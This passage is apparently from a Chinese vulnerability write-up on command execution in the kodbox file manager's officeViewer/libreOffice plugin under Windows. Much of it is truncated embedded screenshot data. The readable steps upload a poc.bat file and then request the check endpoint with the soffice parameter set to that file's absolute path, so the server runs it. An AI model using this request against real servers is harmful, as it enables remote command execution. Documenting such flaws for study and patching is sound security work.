KgoLpdbU1OzZ8+ehQsXkv9jJNJH33q1trZGRkaamJhkZmbu2LFj6dKlAIBDhw5t37591apVWJ61a9cmJiZOmzaNw+F89tlnSqVyzZo1TCbzxo0bqampU6Line truncated
|
||||
<p blockindex=48><strong>windows系统下:</strong></p>
|
||||
<p blockindex=49>利用条件:1、需要权限可上传写入文件到服务器中。2、需要有可执行文件的绝对路径。</p>
|
||||
<p blockindex=50>一、进入后台上传poc文件</p>
|
||||
<p blockindex=51><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB3QAAAOVCAIAAAAeM0ZJAAAgAElEQVR4nOzdeXxTVdo48OdmT7qlC6VbWtqC0IVlsLQCgii7tjh14ScICIjy2p8jvi7M8MqM+qIyg8tMnfnhMCIo4KiMY0U6yCogBaSUpSwtUJrSBLrRNknb7Mm9vz9OuVxulu5LyvP9I5+bc8899+Q2bZonT55DhaQdpAAYAIoChoEBsF1/cgog1K30er1SqezrWSCEEEIIIYQQQggYhnHddtvo9i5CqBMoinJ7VwQA5DeM/KINjG2EEEIIIYQQQgghNPC4BpFd48tuI85exkEIcfHiyAT5lXHdJeK0UJzYrK9vI4QQQgghhBBCCKEBxVNk2dOt61EIoTa5/ZUhYWU2xMwwDGkRccpKMANjGyGEEEIIIYQQQggNMF4iy64brt0QQl1BQslsiJmNL7dmLlOtfZgBsI0QQgghhBBCCCGEBirXyLKnbW5/hFBXsAUxKIq6I3OZ04cZQNsIIYQQQgghhBBCaIBwm4zMuJBKpQKBoC8nitBdg6Zpq9UqAAAKKIqT23x72zfbe/tCIoQQQgghhBBCCKHe4jayTFGUXC7HyDJCvUYgEMjlchEAMCTnl1uGhmz7bjtCCCGEEEIIIYQQGhBcC1y45izLZLK+myBCdy8RSfcFhhk4twghhBBCCCGEEEJoIOKlFZLIskQi6av5IHSXE5B0X4DbXyoYCNsIIYQQQgghhBBCyPe1J21ZKBT23QQRuquJWqsWAwAABcyA2UYIIYQQQgghhBBCAxU3uNzXc0Ho7iUCBoBiWqOyA2MboV6nVqt7dPzg4OD+M3hPP1iEEEIIIYR6TkJCQl9PASHUebwsZu7tXeKuerCoX6E81CIWAQUUUAzFcG6BArizxZfae/nKoruElz/fTqcTevKfVLVaLRKJKIry9GvcOeQR2Wy2Trwy9fR/5Gq1OiIiokdP4YtomjaZTFar1c/PzxeXqnA6nc3NzTRNR0VFde+TGSGEEEI9qqKiohcCsmq1unfOgnEZhHyOp2oYNE2TW5qm+3aGvQzfTyEehmF6+lnh5dVTBAAMMLzb1sN8vB2hgcQ1uNzRPxz4b7SvEwgE/v7+FEWZTCaBQOBzC1YIhUKlUqnX62tra/HDA4QQQgghhFBXsDnLWBYDob4looC6VVDijlvKpcVn2hEacKhboAsfUbIH4uuuT/Pz8wMAi8VCUZRYLO7r6XQYiS83NjaGhIT09VwQQgghhBBCPsPtO1kMLiPU50QMMK0liwfKLUIDD8XBa2/nCNzXWoqiBsxLr6DlmvjKpwBgv+c52n9IX0+nl8hkMp1OBwBCoVAgEPT1dDrM39+/pqZGLpfL5fK+ngtCCCGEesTNmzcHDRrU17NACA1Yd2GpZYT6LVFrLiTAgLlFaODhBZc7kbzsNm25P78St2duouv/kZRtpKyNACDQX7QNW+aIeaTnp9b3SH2MlpYWs9ksl8t9rt6WUCgMDg6uqamJjY0VCoV9PR2EEEIIdbPGxsZDhw5NnTq1h76oRNN0VVWVVqttamqSy+UJCQmRkZH4TwVCA1V73sP25/e2CA14ImAYd+UmKB9uR2jAoe7UxaF683XXZDax2wq5oruGpayNkrKNouv/cYaMsU7cDADSs29KL6wT6i/ahi1jpAO/3oJUKqVp2mw2C4VCqVTa19PpMIVC4XA4amtro6Ki+nouCCGEEOpm5eXlOp2uvLy8J4LLly5dOnHihNVqFQqFEonEZrNdunRJKpVmZGSMGDGi20+HEOq3uCv79fVcEPIZvN+XbklWa81cdpcG7LPtCPUALy9Xvf9K1pVfftfZ9tz8TWaTWCTm3u2W+LKw9oikbKOg5Zot+b/tsb8mjZb0XLHme0nJn0kKs3PwpPYMVVlZuWHDhilTpsyYMcN7t+3btz///PNBQUFeum3ZsgUAFi1a5Lpr7969NTU1ixYtOnfu3Oeff87bGxwc/NJLL3kf3JVcLmcYhryzEolEHTrWLYvFsnXr1hkzZsTFxXHb3c6ZJz4+/rnnnpPJZO0/XWBgoF6v1+l0SqWyM9NFCCGEUL/U3NxcVlYGAGVlZSNGjAgICOjGwQ0Gw5kzZ4KDgydMmBAWFkYa6+vrjx07VlBQoNfr77vvvjYHwTgUQr6F/Z1lPKNpum8niVD/5/aTGIZhul5sU8SQzF835/QQq/WVdoT6JafTefDgwcjIyJSUlA4d2M7kZavV6nQ6FYpuyxHuNBJZtjscmz//HACWLF4sFom7Gl9mHJIrG8UVXzlDxpgnf0krYrg77bG/doalSS68Lzuz2h4/z3bPMqC8hVwNBsOWLVvi4+N/+eWX4cOH8yKqPEqlss0E4QceeGD79u0Gg8E1TDxjxoy9e/du2bJl0aJFH330kes0vI/siVQqNZvNJpPJ39+/W4ovWyyW3NxcbsuYMWN4c66srNy7d+/ChQs7FEp2y9/fv7a2ViaTdX0ohBBCCPUTarXaaDQCgNFoVKvVo0eP7q6R6+rqQkNDMzMz/fz8uP/5hIWFzZkz5/jx4xcvXgwICOjov9kIIXQbbWfqDtHXtjG6s4zDBACUJIhSjhbEPUWFTwGBLy2ozjCMa3lM75lq3EPQAEMiy64BJZqmaZruYjxB5PF54+np5CvtCPU/Tqdz//79Wq02IiKicyO0p+yy0+k0mUwKhcK1D/tS0dP5GtzIcn1dHQBs/vzzLsaXBS3XJBc/FOrO2e5Zbk+Y77YPrYixpOeK1f+UXNkg0F+0pbzqaZU/g8Hw8ccfZ2RkzJgx49y5c1u2bPGSO2wwGCwWi2v73r17d+/ezWt8++232W2SklxZWXn27Fm3Gc1dJBQKSfFli8XSLcWXZTLZihUrvMfZDx8+nJGR0S3hYJFIpFQqa2trY2JisE4iQggh5NOMRqPJZKqpqSkpKWEX2iopKREIBBEREQqFws/PryvjNzc3Hzx48N577x06dKjbDunp6Xq9/ty5c7Gxsd2bLo0QuiswNF2x2VnyPtga7mi26xljJX3jB5CGC5NeEcQvAcrH1lQnf5NJhUxelNnLN5utVmtDQ4PVau3FmfYBqVQaFhbmi6UmO8ptZBkABAIBTdNd/FxB5FrG2PdvEeqP2Mjy+PHjO5G2zN5yN1zJZDKKoqxWq9lsds1fZgsu92jlZdfIMgDU19V1Mb4sqjkk1J0zj99AB7VRTc+eMN8ZOlZ+fLmo5pBt6GLXDrxqGKNGjQKAjz/+2FN8uaamRq/XW61W14jqrFmzPJXUcE1J5tWXIKFn74+lTaT4ssVi6VzxZYvF8umnn1ZUVLAtpaWl7Db76LZs2XL27Fm2nbsNADKZbPny5d5D0p74+fk5nc66urrIyMhOHI4QQgihvnX58uUTJ064/RgeAJqbm48fP87elclkGRkZw4cP78SJamtrm5ubi4uLVSqV2/95hEJhSkrKgQMHamtrMbiM0F2lG97bWmodJ55lGgoBPA9lrXOeXUVr80QZn4FscFfP2JO4hUTIBi+Y4CmRmRthbGhoCAwM9Pf374UJ96GWlpb6+vro6Oi+nkjPYgNBvHaTyWS1Wv39/YVCIbvX6XQ2NzdLJJL2fyde1Fqz2F0x4357qwwUh4dINNUWi5V21weh7tfFmstdiSy7nsLT3wWC/LdttVqNRiM3f9ntPLt99QNeZDksPJzElyMiI2uqqzd//vnCBQvkMlmb8WVPn6A6A4dDey544HDw8Oi2bt166dKl5cuXx8bGsntHjhwZFBT0pz/96YEHHuAFiy0Wy+XLl3U63bVr10gYmjV9+nRyFoPB8Ne//nXOnDmjRo3aunVrZWXlb37zm6CgoBdffJGdOZnMmDFjFi5cCAAGg2Hr1q288mFtPi63ZDIZTdNWq1UgEHS0+DLDMFKpdMWKFbGxsbxde/fu5c7qmWeeGTVq1N69eyMiIsh12Lp16+jRo0eNGvWvf/0LuvAvXUBAgF6v1+v1Ha06jRBCCKE+N3z4cKFQWFBQYLPZvPeUSCQTJkzwlHfcprq6OpqmGxsbL1265KnURlhYmEKhqKur834WrLmMkG9pT83lrvxeM0aN8/gCpqm07a7AMA0nHAVPCsdvo/z4b6D6DzaCzG64hpvd3gXOu1cSc+yN6fYpf3//mzdv3p31QJxOp9lsttlsNE0HBgaSvGaHw2EwGGw2m9PplEql7fyGsYgTpqE4H9H03+1JacGb/5QS4Ce6UmF6aFGR3U67698HSAJgZmZmfHw8AJw+fXr//v0vvfQSN9Xx9OnTGzZs8DSCXC5fsWIFORwNJCSyrNFoxowZo1KpmpqaeB3EYrFcLu/QmOwfPvL9Bd5ekUhE07TdbufWx+jRbGWWRCyx2e1sZHnJ4sXvr1sHAAsXLty6dWtNdfXWbdsWLlig6ODjbSeB00I5LbRIwQgkrnstFsvGjRvvueceEt4FAI1G880335CV+mJjY999992tW7f+7W9/W7ZsGfubW1dXZzabf/3rXxcXF/OCywBAwsoAQKLJ5JG6NrLOnj3Lpv0GBwd31wOXSqV6vR4AeCUI28NqtfLqLLNmzpzp2vjFF1+w291VRdHPz6+urk4ul0skbn5wCCGEEOrPhg4dqlAoDhw4YDabPfWRy+VTp06NiorqyomkUml4eHhLS4vNZuP9z2Cz2U6ePNnU1OQphxohNMB023tbh9F56qX2RZZvnbqp1HnqJdGEL0HUpWo/vck13OxpF9yVn8D1t+CypwUqu1IZ2fUBCoXCoKAgEkpuamoi8WVyVyKRBAUFtb92JZu53Hqu/r/94PiQAD8RANwTr8gYHVRwSu+hf2+rrq4GAPab3WPHjq2qqiJftOfGl9PS0p577rmKior8/PznnnvOYrH84x//eP7552Uy2aeffto3U0c97MSJE5WVlQBw5syZM2fOuHaIiYl5+OGHOze42Wx2Op2e9pLine truncated
|
||||
<p blockindex=52>poc内容为:</p>
|
||||
<p blockindex=53><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=54>poc上传的绝对路径为:</p>
|
||||
<pre blockindex=55><code class="hljs language-php">D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\<span class=hljs-number>202312</span>\<span class=hljs-number>19_81229</span>b0a\poc.bat
|
||||
</code></pre>
|
||||
<p blockindex=56><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAtQAAACcCAIAAADQ26uPAAAgAElEQVR4nO29f3AbVZbof9p2mJgAAUJoSyTwBuwsk5q0n93MJtjDDGGDsIUym1dkYAi1JVQl7GLq0faGUOsp8WW3qGjRVkJK7qmafG1U5dF3K8yS8VSliCIbTSbJ23nOD75IXncyGYg8vC+JkdyTOCEQYiex3d8/bnerJbWkliNLjn0+RRHr9jn3ntu/7ulzT/elJEkCBEEQBEGQYlFWagMQBEEQBFlYVJw5c6bUNiAIgiAIsoCgcNoFQRAEQZBigtMuCIIgCIIUFXQ+EARBEAQpKuh8IAiCIAhSVG7W+RgfH3/qqacoijpw4EBBDJoxY2Nj3/ve9wRBKE5zBw4ceOqpp8bHx4vTXAoLqrMLCnJBzexqUg/TzVQy28ypc0m9ff3rv/7rgw8+KAjC2NjYY489NjY2VmrTkFlkLl8gC4ebdT5279790EMPSZL07LPPFsQgBCkIDofD4XCoP3ft2qUd88jPn/3sZwWRmSNDKZIv6u3LZrOV2hYAgAMHDlAURVHU0qVL1UeLsbExs9mcUphd0mw2a/0nUr5r167sDRWW9EYFQVi6dGn2RlWZlAdag13QLTTSbkpDs7pnEMLNOh8nT55cs2YN3Pq+5K1uf14shM5u3rz5iy++IG7B+Ph4IBAIh8PRaJRsPXnypM1m+4d/+IeCyFRWVpagh/ORIp+Z6u2LYZizZ88yDFOcdnUZGxt7//33r169KknS+++/39TUNDY2Nj4+/tOf/nTbtm3awkySHMedPHlSkqRnnnlm27ZtoOzPNWvWsCybvaECdiRTo01NTe+//z5ptL29Pd1l18oEAoFXXnmF9MtgFzIV5mxXa3n63i7gnkG0zImcj/Hx8VAoNDU1VWpDisGC6mxhyWvXrVy5cnh4mHgJV69e/frrr3/0ox+dO3eO1HPp0qUNGzYUSqaAZt8SzNkezTXD8rJn2bJle/bsIY7sunXrli5d+uWXX0aj0Xg8brfbAeCpp5569NFHjx8/ritZWVm5Z8+eZcuWgcbzrqysPHToUCwWu++++7I3VMCO6DZ6/PjxRx999KmnniIdueuuu1QPXovZbF63bl1Kvwx2QbfQYLsE3b1tpMvIDNB3Pnbt2kWCV2r4Tg1GaQsdDsevf/3r119/naKo22+//fDhwzabjUSh02vIwn/+538eO3bsP/7jP4yc3MQR/vd//3fVHu1zUiAQIIUkVJ5FWGthNBp95JFHVPtPnDjxve99j5gtCIL6t3YnkDgtqV8NBhqZz57fnc1kg7acaOmeUdnJa9fV1NRUV1cTL+H48eNr1qxZv359b28vAESj0c8+++yBBx4olEwBzdZCwsXk4GbaXemHSeXixYvpZ4JuPbt27dJe1NpppoL0KJORKTH2sbEx7Zk5Pj6eKQhfEMPU25fZbD5y5Ih65uuarZ72s3dn03L8+PHLly8/8MAD586dW7duHXEpKisrH3rooc8++0xXUlvY29trMCCnq17AjmTi66+/JteUlmXLlm3ZssXv9xPD1q1bZyQWpduFTP3Stpt+gWTa2/meh4gRdJwPQRDee++9CxcuSJIUi8WWLVs2Nja2Zs0aEoySJOm9995bs2bN2NhYT0/Pyy+//O6770qSdPXq1fXr1wcCgUOHDkWj0ZQashuxYcOG6urq4eFh4yf3P/3TP5EAoxqdA4DLly9Ho1FJkoaGhv7whz+oM3bpwil9rKmp+ctf/qLar3vRkp3w3nvvkZ3w8ssvA0BlZeXrr78eCATIGNzb2/v6669nv+YXQmd1DVbLDx06dPXqVd0zKvt+yGvXVVZW2mw24iX09vZu3rx5w4YNly5dGh8fV28xhZIpoNkqBw4ceOKJJ/74xz/29PRkugB1D5NK+lHIVM/WrVufeeYZv99/4MCBL7744le/+lUBe5TJyPHx8b17946OjqoWAoD2zASAFIHCniHq7SsWi917773pZv/whz/s7+8nN7dAIHDgwIH0e2MB7VERBGHLli3vvffesmXLUlyNLJKgGSM3b968devWvBqajY5oWblyZTgcJof10KFDhw8fziRJnmZtNhuZEcuObhe0hVnaTb9AdPd2+omKczEFQcf5eOCBBy5fvvzwww+r4xmJXL366qvkZ854VHoN2SkvL//pT3+6ePHi4eHhgYEBIyrq2aY1ZunSpf/4j/8IADU1NfX19VmE87UQksOGALB582byx7p16+LxeDQaHRsbO3nyJIkZLvDO6hqsLc/3jCLku+uIl3Dx4sVLly6tXLmypqYGAKLRaG9vr3pfK5RMAc0GgA8//PCVV175/PPPyZNfpt2V6TAR0o9Clt2+c+fOnTt3btmyxev15nxizqtHmYysrKzc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 truncated
|
||||
<p blockindex=57>二、执行poc.bat:</p>
|
||||
<pre blockindex=58><code class="hljs language-php">index.php?plugin/officeViewer/libreOffice/index/check&soffice=D:\softs\phpstudy\phpstudy_pro\WWW\kodbox\data\files\<span class=hljs-number>202312</span>\<span class=hljs-number>19_81229</span>b0a\poc.bat
|
||||
</code></pre>
|
||||
<p blockindex=59><img 